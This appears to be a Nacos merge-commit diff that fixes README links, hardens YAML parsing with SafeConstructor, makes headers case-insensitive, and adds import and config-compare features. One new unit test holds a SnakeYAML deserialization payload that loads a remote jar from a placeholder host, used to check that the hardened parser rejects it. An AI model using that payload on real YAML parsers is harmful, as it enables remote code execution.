Merge pull request #5135 from KomachiSion/develop-merge-to-2.0
Develop merge to 2.0
This commit is contained in:
commit
e1dc906b24
@ -10,7 +10,7 @@
|
||||
|
||||
## What does it do
|
||||
|
||||
Nacos (official site: [http://nacos.io](http://nacos.io)) is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.
|
||||
Nacos (official site: [nacos.io](https://nacos.io)) is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.
|
||||
|
||||
Service is a first-class citizen in Nacos. Nacos supports almost all type of services,for example,[Dubbo/gRPC service](https://nacos.io/en-us/docs/use-nacos-with-dubbo.html), [Spring Cloud RESTFul service](https://nacos.io/en-us/docs/use-nacos-with-springcloud.html) or [Kubernetes service](https://nacos.io/en-us/docs/use-nacos-with-kubernetes.html).
|
||||
|
||||
@ -113,8 +113,8 @@ These are only part of the companies using Nacos, for reference only. If you are
|
||||
|
||||
![Alibaba Group](https://docs.alibabagroup.com/assets2/images/en/global/logo_header.png)
|
||||
![虎牙直播](https://a.msstatic.com/huya/main/img/logo.png)
|
||||
![ICBC](http://v.icbc.com.cn/userfiles/Resources/ICBC/shouye/images/2017/logo.png)
|
||||
![爱奇艺](http://www.iqiyipic.com/common/fix/site-v4/sprite-headLogo-index.png)
|
||||
![ICBC](https://v.icbc.com.cn/userfiles/Resources/ICBC/shouye/images/2017/logo.png)
|
||||
![爱奇艺](https://www.iqiyipic.com/common/fix/site-v4/sprite-headLogo-index.png)
|
||||
![平安科技](https://img.alicdn.com/tfs/TB1pwi9EwHqK1RjSZJnXXbNLpXa-479-59.png)
|
||||
![华夏信财](https://img.alicdn.com/tfs/TB1MZWSEzDpK1RjSZFrXXa78VXa-269-69.png)
|
||||
![优客工场](https://www.urwork.cn/public/images/ui/logo.png)
|
||||
@ -130,7 +130,7 @@ These are only part of the companies using Nacos, for reference only. If you are
|
||||
![集萃智能](http://www.iimt.org.cn/pic/logosy.png)
|
||||
![Acmedcare+](https://img.alicdn.com/tfs/TB1DZWSEzDpK1RjSZFrXXa78VXa-240-62.png)
|
||||
![吾享](https://w.wuuxiang.com/theme/images/common/logo1.png)
|
||||
![北京天合互联信息有限公司](http://14605854.s21i.faiusr.com/4/ABUIABAEGAAg4OvkzwUo8b-qlwUwxQ449gM!300x300.png)
|
||||
![北京天合互联信息有限公司](https://14605854.s21i.faiusr.com/4/ABUIABAEGAAg4OvkzwUo8b-qlwUwxQ449gM!300x300.png)
|
||||
![上海密尔克卫化工](http://www.mwclg.com/static-resource/front/images/home/img_logo_nav.png)
|
||||
![大连新唯](https://www.synwe.com/logo-full.png)
|
||||
![立思辰](https://user-images.githubusercontent.com/10215557/51593180-7563af00-1f2c-11e9-95b1-ec2c645d6a0b.png)
|
||||
|
@ -176,6 +176,8 @@ public class Constants {
|
||||
|
||||
public static final String SERVICE_INFO_SPLITER = "@@";
|
||||
|
||||
public static final int SERVICE_INFO_SPLIT_COUNT = 2;
|
||||
|
||||
public static final String NULL_STRING = "null";
|
||||
|
||||
public static final String NUMBER_PATTERN = "^\\d+$";
|
||||
|
@ -58,7 +58,7 @@ public interface ConfigService {
|
||||
/**
|
||||
* Add a listener to the configuration, after the server modified the configuration, the client will use the
|
||||
* incoming listener callback. Recommended asynchronous processing, the application can implement the getExecutor
|
||||
* method in the ManagerListener, provide a thread pool of execution. If provided, use the main thread callback, May
|
||||
* method in the ManagerListener, provide a thread pool of execution. If not provided, use the main thread callback, May
|
||||
* block other configurations or be blocked by other configurations.
|
||||
*
|
||||
* @param dataId dataId
|
||||
|
@ -53,7 +53,6 @@ public class MetricsHttpAgent implements HttpAgent {
|
||||
throw e;
|
||||
} finally {
|
||||
timer.observeDuration();
|
||||
timer.close();
|
||||
}
|
||||
|
||||
return result;
|
||||
@ -70,7 +69,6 @@ public class MetricsHttpAgent implements HttpAgent {
|
||||
throw e;
|
||||
} finally {
|
||||
timer.observeDuration();
|
||||
timer.close();
|
||||
}
|
||||
|
||||
return result;
|
||||
@ -84,11 +82,9 @@ public class MetricsHttpAgent implements HttpAgent {
|
||||
try {
|
||||
result = httpAgent.httpDelete(path, headers, paramValues, encode, readTimeoutMs);
|
||||
} catch (IOException e) {
|
||||
|
||||
throw e;
|
||||
} finally {
|
||||
timer.observeDuration();
|
||||
timer.close();
|
||||
}
|
||||
|
||||
return result;
|
||||
|
@ -17,8 +17,12 @@
|
||||
package com.alibaba.nacos.client.config.impl;
|
||||
|
||||
import com.alibaba.nacos.api.config.ConfigChangeItem;
|
||||
import com.alibaba.nacos.api.exception.NacosException;
|
||||
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
|
||||
import com.alibaba.nacos.common.utils.StringUtils;
|
||||
import org.yaml.snakeyaml.Yaml;
|
||||
import org.yaml.snakeyaml.constructor.ConstructorException;
|
||||
import org.yaml.snakeyaml.constructor.SafeConstructor;
|
||||
|
||||
import java.util.Collection;
|
||||
import java.util.Collections;
|
||||
@ -33,6 +37,8 @@ import java.util.Map;
|
||||
*/
|
||||
public class YmlChangeParser extends AbstractConfigChangeParser {
|
||||
|
||||
private static final String INVALID_CONSTRUCTOR_ERROR_INFO = "could not determine a constructor for the tag";
|
||||
|
||||
public YmlChangeParser() {
|
||||
super("yaml");
|
||||
}
|
||||
@ -41,20 +47,34 @@ public class YmlChangeParser extends AbstractConfigChangeParser {
|
||||
public Map<String, ConfigChangeItem> doParse(String oldContent, String newContent, String type) {
|
||||
Map<String, Object> oldMap = Collections.emptyMap();
|
||||
Map<String, Object> newMap = Collections.emptyMap();
|
||||
|
||||
if (StringUtils.isNotBlank(oldContent)) {
|
||||
oldMap = (new Yaml()).load(oldContent);
|
||||
oldMap = getFlattenedMap(oldMap);
|
||||
}
|
||||
if (StringUtils.isNotBlank(newContent)) {
|
||||
newMap = (new Yaml()).load(newContent);
|
||||
newMap = getFlattenedMap(newMap);
|
||||
try {
|
||||
Yaml yaml = new Yaml(new SafeConstructor());
|
||||
if (StringUtils.isNotBlank(oldContent)) {
|
||||
oldMap = yaml.load(oldContent);
|
||||
oldMap = getFlattenedMap(oldMap);
|
||||
}
|
||||
if (StringUtils.isNotBlank(newContent)) {
|
||||
newMap = yaml.load(newContent);
|
||||
newMap = getFlattenedMap(newMap);
|
||||
}
|
||||
} catch (ConstructorException e) {
|
||||
handleYamlException(e);
|
||||
}
|
||||
|
||||
return filterChangeData(oldMap, newMap);
|
||||
}
|
||||
|
||||
private final Map<String, Object> getFlattenedMap(Map<String, Object> source) {
|
||||
private void handleYamlException(ConstructorException e) {
|
||||
if (e.getMessage().startsWith(INVALID_CONSTRUCTOR_ERROR_INFO)) {
|
||||
throw new NacosRuntimeException(NacosException.INVALID_PARAM,
|
||||
"AbstractConfigChangeListener only support basic java data type for yaml. If you want to listen "
|
||||
+ "key changes for custom classes, please use `Listener` to listener whole yaml configuration and parse it by yourself.",
|
||||
e);
|
||||
}
|
||||
throw e;
|
||||
}
|
||||
|
||||
private Map<String, Object> getFlattenedMap(Map<String, Object> source) {
|
||||
Map<String, Object> result = new LinkedHashMap<String, Object>(128);
|
||||
buildFlattenedMap(result, source, null);
|
||||
return result;
|
||||
|
@ -18,6 +18,7 @@ package com.alibaba.nacos.client.logging.log4j2;
|
||||
|
||||
import com.alibaba.nacos.client.logging.AbstractNacosLogging;
|
||||
import com.alibaba.nacos.common.utils.ResourceUtils;
|
||||
import com.alibaba.nacos.common.utils.StringUtils;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
import org.apache.logging.log4j.core.Appender;
|
||||
import org.apache.logging.log4j.core.LoggerContext;
|
||||
@ -49,6 +50,10 @@ public class Log4J2NacosLogging extends AbstractNacosLogging {
|
||||
|
||||
@Override
|
||||
public void loadConfiguration() {
|
||||
if (StringUtils.isBlank(location)) {
|
||||
return;
|
||||
}
|
||||
|
||||
final LoggerContext loggerContext = (LoggerContext) LogManager.getContext(false);
|
||||
final Configuration contextConfiguration = loggerContext.getConfiguration();
|
||||
|
||||
|
@ -133,6 +133,10 @@ public class ServiceInfoHolder implements Closeable {
|
||||
* @return service info
|
||||
*/
|
||||
public ServiceInfo processServiceInfo(ServiceInfo serviceInfo) {
|
||||
String serviceKey = serviceInfo.getKey();
|
||||
if (serviceKey == null) {
|
||||
return null;
|
||||
}
|
||||
ServiceInfo oldService = serviceInfoMap.get(serviceInfo.getKey());
|
||||
if (isEmptyOrErrorPush(serviceInfo)) {
|
||||
//empty or error push, just ignore
|
||||
|
@ -85,9 +85,9 @@ public class NamingClientProxyDelegate implements NamingClientProxy {
|
||||
t.setDaemon(true);
|
||||
return t;
|
||||
});
|
||||
this.securityProxy.login(serverListManager.getServerList());
|
||||
this.executorService.scheduleWithFixedDelay(() -> securityProxy.login(serverListManager.getServerList()), 0,
|
||||
securityInfoRefreshIntervalMills, TimeUnit.MILLISECONDS);
|
||||
this.securityProxy.login(serverListManager.getServerList());
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -49,7 +49,7 @@ public class SecurityProxy {
|
||||
|
||||
private final NacosRestTemplate nacosRestTemplate;
|
||||
|
||||
private String contextPath;
|
||||
private final String contextPath;
|
||||
|
||||
/**
|
||||
* User's name.
|
||||
@ -64,7 +64,7 @@ public class SecurityProxy {
|
||||
/**
|
||||
* A token to take with when sending request to Nacos server.
|
||||
*/
|
||||
private String accessToken;
|
||||
private volatile String accessToken;
|
||||
|
||||
/**
|
||||
* TTL of token in seconds.
|
||||
@ -89,7 +89,8 @@ public class SecurityProxy {
|
||||
public SecurityProxy(Properties properties, NacosRestTemplate nacosRestTemplate) {
|
||||
username = properties.getProperty(PropertyKeyConst.USERNAME, StringUtils.EMPTY);
|
||||
password = properties.getProperty(PropertyKeyConst.PASSWORD, StringUtils.EMPTY);
|
||||
contextPath = ContextPathUtil.normalizeContextPath(properties.getProperty(PropertyKeyConst.CONTEXT_PATH, "/nacos"));
|
||||
contextPath = ContextPathUtil
|
||||
.normalizeContextPath(properties.getProperty(PropertyKeyConst.CONTEXT_PATH, "/nacos"));
|
||||
this.nacosRestTemplate = nacosRestTemplate;
|
||||
}
|
||||
|
||||
|
@ -164,12 +164,7 @@ public class ParamUtil {
|
||||
String.valueOf(Constants.DEFAULT_USE_CLOUD_NAMESPACE_PARSING)));
|
||||
|
||||
if (Boolean.parseBoolean(isUseCloudNamespaceParsing)) {
|
||||
namespaceTmp = TemplateUtils.stringBlankAndThenExecute(namespaceTmp, new Callable<String>() {
|
||||
@Override
|
||||
public String call() {
|
||||
return TenantUtil.getUserTenantForAcm();
|
||||
}
|
||||
});
|
||||
namespaceTmp = TenantUtil.getUserTenantForAcm();
|
||||
|
||||
namespaceTmp = TemplateUtils.stringBlankAndThenExecute(namespaceTmp, new Callable<String>() {
|
||||
@Override
|
||||
|
@ -64,7 +64,7 @@ public class TemplateUtils {
|
||||
}
|
||||
}
|
||||
|
||||
return source.trim();
|
||||
return source == null ? null : source.trim();
|
||||
}
|
||||
|
||||
/**
|
||||
@ -85,6 +85,6 @@ public class TemplateUtils {
|
||||
}
|
||||
}
|
||||
|
||||
return source.trim();
|
||||
return source == null ? null : source.trim();
|
||||
}
|
||||
}
|
||||
|
@ -17,6 +17,7 @@
|
||||
package com.alibaba.nacos.client.config.impl;
|
||||
|
||||
import com.alibaba.nacos.api.config.ConfigChangeItem;
|
||||
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
|
||||
import org.junit.Assert;
|
||||
import org.junit.Test;
|
||||
|
||||
@ -71,5 +72,13 @@ public class YmlChangeParserTest {
|
||||
Map<String, ConfigChangeItem> map = parser.doParse(s, s, type);
|
||||
Assert.assertEquals(0, map.size());
|
||||
}
|
||||
|
||||
@Test(expected = NacosRuntimeException.class)
|
||||
public void testChangeInvalidKey() {
|
||||
parser.doParse("anykey:\n a",
|
||||
"anykey: !!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n"
|
||||
+ " !!java.net.URL [\"http://[yourhost]:[port]/yaml-payload.jar\"]\n" + " ]]\n" + "]",
|
||||
type);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -24,6 +24,8 @@ import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* JDk http client response implement.
|
||||
@ -49,7 +51,9 @@ public class JdkHttpClientResponse implements HttpClientResponse {
|
||||
if (this.responseHeader == null) {
|
||||
this.responseHeader = Header.newInstance();
|
||||
}
|
||||
this.responseHeader.setOriginalResponseHeader(conn.getHeaderFields());
|
||||
for (Map.Entry<String, List<String>> entry : conn.getHeaderFields().entrySet()) {
|
||||
this.responseHeader.addOriginalResponseHeader(entry.getKey(), entry.getValue());
|
||||
}
|
||||
return this.responseHeader;
|
||||
}
|
||||
|
||||
|
@ -23,9 +23,9 @@ import com.alibaba.nacos.common.utils.StringUtils;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Iterator;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.TreeMap;
|
||||
|
||||
/**
|
||||
* Http header.
|
||||
@ -41,8 +41,8 @@ public class Header {
|
||||
private final Map<String, List<String>> originalResponseHeader;
|
||||
|
||||
private Header() {
|
||||
header = new LinkedHashMap<String, String>();
|
||||
originalResponseHeader = new LinkedHashMap<String, List<String>>();
|
||||
header = new TreeMap<String, String>(String.CASE_INSENSITIVE_ORDER);
|
||||
originalResponseHeader = new TreeMap<String, List<String>>(String.CASE_INSENSITIVE_ORDER);
|
||||
addParam(HttpHeaderConsts.CONTENT_TYPE, MediaType.APPLICATION_JSON);
|
||||
addParam(HttpHeaderConsts.ACCEPT_CHARSET, "UTF-8");
|
||||
addParam(HttpHeaderConsts.ACCEPT_ENCODING, "gzip");
|
||||
@ -142,14 +142,13 @@ public class Header {
|
||||
*
|
||||
* <p>Currently only corresponds to the response header of JDK.
|
||||
*
|
||||
* @param headers original response header
|
||||
* @param key original response header key
|
||||
* @param values original response header values
|
||||
*/
|
||||
public void setOriginalResponseHeader(Map<String, List<String>> headers) {
|
||||
if (MapUtil.isNotEmpty(headers)) {
|
||||
this.originalResponseHeader.putAll(headers);
|
||||
for (Map.Entry<String, List<String>> entry : this.originalResponseHeader.entrySet()) {
|
||||
addParam(entry.getKey(), entry.getValue().get(0));
|
||||
}
|
||||
public void addOriginalResponseHeader(String key, List<String> values) {
|
||||
if (StringUtils.isNotEmpty(key)) {
|
||||
this.originalResponseHeader.put(key, values);
|
||||
addParam(key, values.get(0));
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -30,6 +30,6 @@ public interface Closeable {
|
||||
*
|
||||
* @throws NacosException exception.
|
||||
*/
|
||||
public void shutdown() throws NacosException;
|
||||
void shutdown() throws NacosException;
|
||||
|
||||
}
|
||||
|
@ -17,7 +17,6 @@
|
||||
package com.alibaba.nacos.common.utils;
|
||||
|
||||
import java.util.AbstractSet;
|
||||
import java.util.HashSet;
|
||||
import java.util.Iterator;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
|
||||
@ -45,14 +44,9 @@ public class ConcurrentHashSet<E> extends AbstractSet<E> {
|
||||
return map.containsKey(o);
|
||||
}
|
||||
|
||||
/**
|
||||
* The original implement <p>map.keySet().iterator()</p> need jdk8, so it can work.
|
||||
*
|
||||
* @return iterator
|
||||
*/
|
||||
@Override
|
||||
public Iterator<E> iterator() {
|
||||
return new HashSet<E>(map.keySet()).iterator();
|
||||
return map.keySet().iterator();
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -148,9 +148,6 @@ public class IPUtil {
|
||||
throw new IllegalArgumentException("The IP address(\"" + str
|
||||
+ "\") is incorrect. If it is an IPv6 address, please use [] to enclose the IP part!");
|
||||
}
|
||||
if (!isIPv4(serverAddrArr[0])) {
|
||||
throw new IllegalArgumentException("The IPv4 address(\"" + serverAddrArr[0] + "\") is incorrect.");
|
||||
}
|
||||
}
|
||||
return serverAddrArr;
|
||||
}
|
||||
@ -174,9 +171,6 @@ public class IPUtil {
|
||||
Matcher m = ipv4Pattern.matcher(str);
|
||||
if (m.find()) {
|
||||
result = m.group();
|
||||
if (!isIPv4(result)) {
|
||||
result = "";
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
|
@ -0,0 +1,31 @@
|
||||
/*
|
||||
* Copyright 1999-2018 Alibaba Group Holding Ltd.
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package com.alibaba.nacos.common.http.param;
|
||||
|
||||
import org.junit.Test;
|
||||
|
||||
import static org.junit.Assert.assertEquals;
|
||||
|
||||
public class HeaderTest {
|
||||
|
||||
@Test
|
||||
public void testHeaderKyeIgnoreCase() {
|
||||
Header header = Header.newInstance();
|
||||
header.addParam("Content-Encoding", "gzip");
|
||||
assertEquals("gzip", header.getValue("content-encoding"));
|
||||
}
|
||||
}
|
@ -269,4 +269,6 @@ public class Constants {
|
||||
* Specifies that reads wait without timeout.
|
||||
*/
|
||||
public static final String EXTEND_NEED_READ_UNTIL_HAVE_DATA = "00--0-read-join-0--00";
|
||||
|
||||
public static final String CONFIG_EXPORT_ITEM_FILE_SEPARATOR = "/";
|
||||
}
|
||||
|
@ -537,7 +537,7 @@ public class ConfigController {
|
||||
// Fixed use of "\r\n" here
|
||||
.append(ci.getAppName()).append("\r\n");
|
||||
}
|
||||
String itemName = ci.getGroup() + "/" + ci.getDataId();
|
||||
String itemName = ci.getGroup() + Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR + ci.getDataId();
|
||||
zipItemList.add(new ZipUtils.ZipItem(itemName, ci.getContent()));
|
||||
}
|
||||
if (metaData != null) {
|
||||
@ -583,13 +583,15 @@ public class ConfigController {
|
||||
}
|
||||
|
||||
List<ConfigAllInfo> configInfoList = null;
|
||||
List<Map<String, String>> unrecognizedList = null;
|
||||
try {
|
||||
ZipUtils.UnZipResult unziped = ZipUtils.unzip(file.getBytes());
|
||||
ZipUtils.ZipItem metaDataZipItem = unziped.getMetaDataItem();
|
||||
Map<String, String> metaDataMap = new HashMap<>(16);
|
||||
if (metaDataZipItem != null) {
|
||||
String metaDataStr = metaDataZipItem.getItemData();
|
||||
String[] metaDataArr = metaDataStr.split("\r\n");
|
||||
// compatible all file separator
|
||||
String metaDataStr = metaDataZipItem.getItemData().replaceAll("[\r\n]+", "|");
|
||||
String[] metaDataArr = metaDataStr.split("\\|");
|
||||
for (String metaDataItem : metaDataArr) {
|
||||
String[] metaDataItemArr = metaDataItem.split("=");
|
||||
if (metaDataItemArr.length != 2) {
|
||||
@ -602,11 +604,14 @@ public class ConfigController {
|
||||
List<ZipUtils.ZipItem> itemList = unziped.getZipItemList();
|
||||
if (itemList != null && !itemList.isEmpty()) {
|
||||
configInfoList = new ArrayList<>(itemList.size());
|
||||
unrecognizedList = new ArrayList<>();
|
||||
for (ZipUtils.ZipItem item : itemList) {
|
||||
String[] groupAdnDataId = item.getItemName().split("/");
|
||||
if (!item.getItemName().contains("/") || groupAdnDataId.length != 2) {
|
||||
failedData.put("succCount", 0);
|
||||
return RestResultUtils.buildResult(ResultCodeEnum.DATA_VALIDATION_FAILED, failedData);
|
||||
String[] groupAdnDataId = item.getItemName().split(Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR);
|
||||
if (groupAdnDataId.length != 2) {
|
||||
Map<String, String> unrecognizedItem = new HashMap<>(1);
|
||||
unrecognizedItem.put("itemName", item.getItemName());
|
||||
unrecognizedList.add(unrecognizedItem);
|
||||
continue;
|
||||
}
|
||||
String group = groupAdnDataId[0];
|
||||
String dataId = groupAdnDataId[1];
|
||||
@ -650,6 +655,11 @@ public class ConfigController {
|
||||
requestIpApp, time.getTime(), InetUtils.getSelfIP(),
|
||||
ConfigTraceService.PERSISTENCE_EVENT_PUB, configInfo.getContent());
|
||||
}
|
||||
// unrecognizedCount
|
||||
if (!unrecognizedList.isEmpty()) {
|
||||
saveResult.put("unrecognizedCount", unrecognizedList.size());
|
||||
saveResult.put("unrecognizedData", unrecognizedList);
|
||||
}
|
||||
return RestResultUtils.success("导入成功", saveResult);
|
||||
}
|
||||
|
||||
|
@ -148,7 +148,7 @@ public final class TaskManager extends NacosDelayTaskExecuteEngine implements Ta
|
||||
ObjectName oName = new ObjectName(this.name + ":type=" + TaskManager.class.getSimpleName());
|
||||
ManagementFactory.getPlatformMBeanServer().registerMBean(this, oName);
|
||||
} catch (Exception e) {
|
||||
LOGGER.error("registerMBean_fail", "注册mbean出错", e);
|
||||
LOGGER.error("registerMBean_fail", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -54,6 +54,8 @@ public class ExternalDataSourceServiceImpl implements DataSourceService {
|
||||
|
||||
private static final int TRANSACTION_QUERY_TIMEOUT = 5;
|
||||
|
||||
private static final int DB_MASTER_SELECT_THRESHOLD = 1;
|
||||
|
||||
private static final String DB_LOAD_ERROR_MSG = "[db-load-error]load jdbc.properties error";
|
||||
|
||||
private List<HikariDataSource> dataSourceList = new ArrayList<>();
|
||||
@ -106,8 +108,10 @@ public class ExternalDataSourceServiceImpl implements DataSourceService {
|
||||
e.printStackTrace();
|
||||
throw new RuntimeException(DB_LOAD_ERROR_MSG);
|
||||
}
|
||||
|
||||
ConfigExecutor.scheduleConfigTask(new SelectMasterTask(), 10, 10, TimeUnit.SECONDS);
|
||||
|
||||
if (this.dataSourceList.size() > DB_MASTER_SELECT_THRESHOLD) {
|
||||
ConfigExecutor.scheduleConfigTask(new SelectMasterTask(), 10, 10, TimeUnit.SECONDS);
|
||||
}
|
||||
ConfigExecutor.scheduleConfigTask(new CheckDbHealthTask(), 10, 10, TimeUnit.SECONDS);
|
||||
}
|
||||
}
|
||||
|
@ -133,11 +133,12 @@ public class ZipUtils {
|
||||
while ((offset = zipIn.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, offset);
|
||||
}
|
||||
if (".meta.yml".equals(entry.getName())) {
|
||||
metaDataItem = new ZipItem(entry.getName(), out.toString("UTF-8"));
|
||||
} else {
|
||||
itemList.add(new ZipItem(entry.getName(), out.toString("UTF-8")));
|
||||
String entryName = entry.getName();
|
||||
if (".meta.yml".equals(entryName)) {
|
||||
metaDataItem = new ZipItem(entryName, out.toString("UTF-8"));
|
||||
continue;
|
||||
}
|
||||
itemList.add(new ZipItem(entryName, out.toString("UTF-8")));
|
||||
} catch (IOException e) {
|
||||
LOGGER.error("unzip error", e);
|
||||
}
|
||||
|
@ -28,6 +28,8 @@ const I18N_CONF = {
|
||||
},
|
||||
Login: {
|
||||
login: 'Login',
|
||||
internalSysTip1: 'Internal system.',
|
||||
internalSysTip2: 'Not exposed to the public network',
|
||||
submit: 'Submit',
|
||||
pleaseInputUsername: 'Please input username',
|
||||
pleaseInputPassword: 'Please input password',
|
||||
@ -271,8 +273,8 @@ const I18N_CONF = {
|
||||
configurationManagement8: 'configuration management',
|
||||
queryResults: 'Search Results: Found',
|
||||
articleMeetRequirements: 'configuration items',
|
||||
fuzzyd: 'Add wildcard \'*\' for fuzzy query',
|
||||
fuzzyg: 'Add wildcard \'*\' for fuzzy query',
|
||||
fuzzyd: "Add wildcard '*' for fuzzy query",
|
||||
fuzzyg: "Add wildcard '*' for fuzzy query",
|
||||
query: 'Search',
|
||||
advancedQuery9: 'Advanced Query',
|
||||
application0: 'Application:',
|
||||
@ -301,8 +303,10 @@ const I18N_CONF = {
|
||||
samePreparation: 'Same preparation',
|
||||
targetNamespace: 'Target namespace',
|
||||
conflictConfig: 'Conflict-detected configuration items',
|
||||
importSuccEntries: 'Successful entries: ',
|
||||
failureEntries: 'Failure entries',
|
||||
unprocessedEntries: 'Unprocessed entries',
|
||||
unrecognizedEntries: 'Unrecognized entries',
|
||||
skippedEntries: 'skipped entries',
|
||||
exportSelected: 'Export selected configs',
|
||||
clone: 'Clone',
|
||||
@ -311,6 +315,7 @@ const I18N_CONF = {
|
||||
cloneSucc: 'The clone was successful',
|
||||
cloneAbort: 'Clone abort',
|
||||
cloneSuccBegin: 'The clone was successful,with ',
|
||||
cloneSuccEntries: 'Successful entries: ',
|
||||
cloneSuccEnd: 'configuration items cloned',
|
||||
cloneFail: 'Clone failed',
|
||||
getNamespaceFailed: 'get the namespace failed',
|
||||
@ -507,6 +512,14 @@ const I18N_CONF = {
|
||||
versionComparison: 'Version Comparison',
|
||||
dialogCurrentArea: 'Current Version',
|
||||
dialogOriginalArea: 'Previous Version',
|
||||
configComparison: 'Config Comparison',
|
||||
dialogCurrentConfig: 'Current Config',
|
||||
dialogComparedConfig: 'Compared Config',
|
||||
configComparisonTitle: 'Select Config',
|
||||
dataIdInput: 'Please Enter Data Id',
|
||||
groupInput: 'Please Enter Group',
|
||||
namespaceSelect: 'Please Select namespace',
|
||||
configNotFind: 'The Configuration is not found, Please select again',
|
||||
},
|
||||
ConfigRollback: {
|
||||
rollBack: 'Roll Back',
|
||||
|
@ -26,6 +26,7 @@ const I18N_CONF = {
|
||||
},
|
||||
Login: {
|
||||
login: '登录',
|
||||
internalSysTip1: '内部系统,不可暴露到公网',
|
||||
submit: '提交',
|
||||
pleaseInputUsername: '请输入用户名',
|
||||
pleaseInputPassword: '请输入密码',
|
||||
@ -270,8 +271,8 @@ const I18N_CONF = {
|
||||
configurationManagement8: '配置管理',
|
||||
queryResults: '查询结果:共查询到',
|
||||
articleMeetRequirements: '条满足要求的配置。',
|
||||
fuzzyd: '添加通配符\'*\'进行模糊查询',
|
||||
fuzzyg: '添加通配符\'*\'进行模糊查询',
|
||||
fuzzyd: "添加通配符'*'进行模糊查询",
|
||||
fuzzyg: "添加通配符'*'进行模糊查询",
|
||||
query: '查询',
|
||||
advancedQuery9: '高级查询',
|
||||
application0: '归属应用:',
|
||||
@ -299,8 +300,10 @@ const I18N_CONF = {
|
||||
samePreparation: '相同配置',
|
||||
targetNamespace: '目标空间',
|
||||
conflictConfig: '检测到冲突的配置项',
|
||||
importSuccEntries: '成功导入条目数: ',
|
||||
failureEntries: '失败的条目',
|
||||
unprocessedEntries: '未处理的条目',
|
||||
unrecognizedEntries: '未识别的条目',
|
||||
skippedEntries: '跳过的条目',
|
||||
exportSelected: '导出选中的配置',
|
||||
clone: '克隆',
|
||||
@ -309,6 +312,7 @@ const I18N_CONF = {
|
||||
cloneSucc: '克隆成功',
|
||||
cloneAbort: '克隆终止',
|
||||
cloneSuccBegin: '克隆成功,克隆了',
|
||||
cloneSuccEntries: '成功克隆条目数: ',
|
||||
cloneSuccEnd: '项配置',
|
||||
cloneFail: '克隆失败',
|
||||
getNamespaceFailed: '获取命名空间失败',
|
||||
@ -504,6 +508,14 @@ const I18N_CONF = {
|
||||
versionComparison: '版本对比',
|
||||
dialogCurrentArea: '当前版本',
|
||||
dialogOriginalArea: '上一版本',
|
||||
configComparison: '配置对比',
|
||||
dialogCurrentConfig: '当前配置',
|
||||
dialogComparedConfig: '被比较配置',
|
||||
configComparisonTitle: '选择配置',
|
||||
dataIdInput: '请输入Data Id',
|
||||
groupInput: '请输入Group',
|
||||
namespaceSelect: '请选择命名空间',
|
||||
configNotFind: '未查询到指定配置,请重新选择',
|
||||
},
|
||||
ConfigRollback: {
|
||||
rollBack: '回滚配置',
|
||||
|
@ -0,0 +1,136 @@
|
||||
/*
|
||||
* Copyright 1999-2018 Alibaba Group Holding Ltd.
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
import React from 'react';
|
||||
import PropTypes from 'prop-types';
|
||||
import { Field, Form, Input, Dialog, ConfigProvider, Select } from '@alifd/next';
|
||||
import { connect } from 'react-redux';
|
||||
import { getNamespaces } from '../../../reducers/namespace';
|
||||
import { request } from '../../../globalLib';
|
||||
const FormItem = Form.Item;
|
||||
const { Option } = Select;
|
||||
|
||||
const formItemLayout = {
|
||||
labelCol: { fixedSpan: 4 },
|
||||
wrapperCol: { span: 19 },
|
||||
};
|
||||
@connect(state => ({ namespaces: state.namespace.namespaces }), { getNamespaces })
|
||||
@ConfigProvider.config
|
||||
class ConfigCompared extends React.Component {
|
||||
static displayName = 'ConfigCompare';
|
||||
|
||||
field = new Field(this);
|
||||
|
||||
static propTypes = {
|
||||
locale: PropTypes.object,
|
||||
dataId: PropTypes.string,
|
||||
group: PropTypes.string,
|
||||
visible: PropTypes.bool,
|
||||
onOk: PropTypes.func,
|
||||
onCancel: PropTypes.func,
|
||||
};
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.state = {
|
||||
namespacesDataSource: [],
|
||||
};
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
this.getNamespaces();
|
||||
}
|
||||
|
||||
getNamespaces() {
|
||||
request({
|
||||
type: 'get',
|
||||
